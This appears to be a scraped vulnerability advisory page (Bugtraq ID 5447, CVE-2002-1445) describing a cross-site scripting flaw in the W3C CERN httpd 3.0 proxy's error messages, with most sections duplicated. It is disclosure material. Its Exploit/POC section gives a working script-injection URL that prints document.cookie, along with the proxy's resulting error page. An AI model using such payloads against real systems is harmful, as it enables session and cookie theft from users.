W3C CERN httpd Proxy Cross-Site Scripting Vulnerability
BID:5447
Info
W3C CERN httpd Proxy Cross-Site Scripting Vulnerability
| Bugtraq ID: | 5447 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-1445 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 12 2002 12:00AM |
| Updated: | Jul 11 2009 03:56PM |
| Credit: | Reported by "TAKAGI, Hiromitsu" <[email protected]>. |
| Vulnerable: |
W3C httpd 3.0 |
| Not Vulnerable: | |
Discussion
W3C CERN httpd Proxy Cross-Site Scripting Vulnerability
CERN httpd is a freely available HTTP server and HTTP proxy server available from the W3C.
The httpd Proxy is vulnerable to a cross site scripting attack.
The condition is present because of the way URLS are displayed in error messages. It is possible for arbitrary HTML or script code to be embedded in the error page through a maliciously constructed link. When the error is displayed, the script will be executed within the context of the proxy server's error page on the client browser. This may permit various web-based attacks including stealing cookies, etc.
CERN httpd is a freely available HTTP server and HTTP proxy server available from the W3C.
The httpd Proxy is vulnerable to a cross site scripting attack.
The condition is present because of the way URLS are displayed in error messages. It is possible for arbitrary HTML or script code to be embedded in the error page through a maliciously constructed link. When the error is displayed, the script will be executed within the context of the proxy server's error page on the client browser. This may permit various web-based attacks including stealing cookies, etc.
Exploit / POC
W3C CERN httpd Proxy Cross-Site Scripting Vulnerability
"TAKAGI, Hiromitsu" <[email protected]> submitted this example:
Accessing the following URL with the browser configured to use CERN httpd as a proxy,
http://nonexistenthost.google.com/<SCRIPT>document.write(document.cookie)</SCRIPT>
will cause CERN httpd Proxy to produce output like this:
========================================================
<HTML>
<HEAD>
<TITLE>Error Message</TITLE>
</HEAD>
<BODY>
<H1>Fatal Error 500</H1>
Can't Access Document: http://nonexistenthost.google.com/<SCRIPT>document.write(document.cookie)</SCRIPT>.
<P>
<B>Reason:</B> Can't locate remote host: nonexistenthost.google.com.
<P>
...
========================================================
"TAKAGI, Hiromitsu" <[email protected]> submitted this example:
Accessing the following URL with the browser configured to use CERN httpd as a proxy,
http://nonexistenthost.google.com/<SCRIPT>document.write(document.cookie)</SCRIPT>
will cause CERN httpd Proxy to produce output like this:
========================================================
<HTML>
<HEAD>
<TITLE>Error Message</TITLE>
</HEAD>
<BODY>
<H1>Fatal Error 500</H1>
Can't Access Document: http://nonexistenthost.google.com/<SCRIPT>document.write(document.cookie)</SCRIPT>.
<P>
<B>Reason:</B> Can't locate remote host: nonexistenthost.google.com.
<P>
...
========================================================
Solution / Fix
W3C CERN httpd Proxy Cross-Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
W3C CERN httpd Proxy Cross-Site Scripting Vulnerability
References:
References: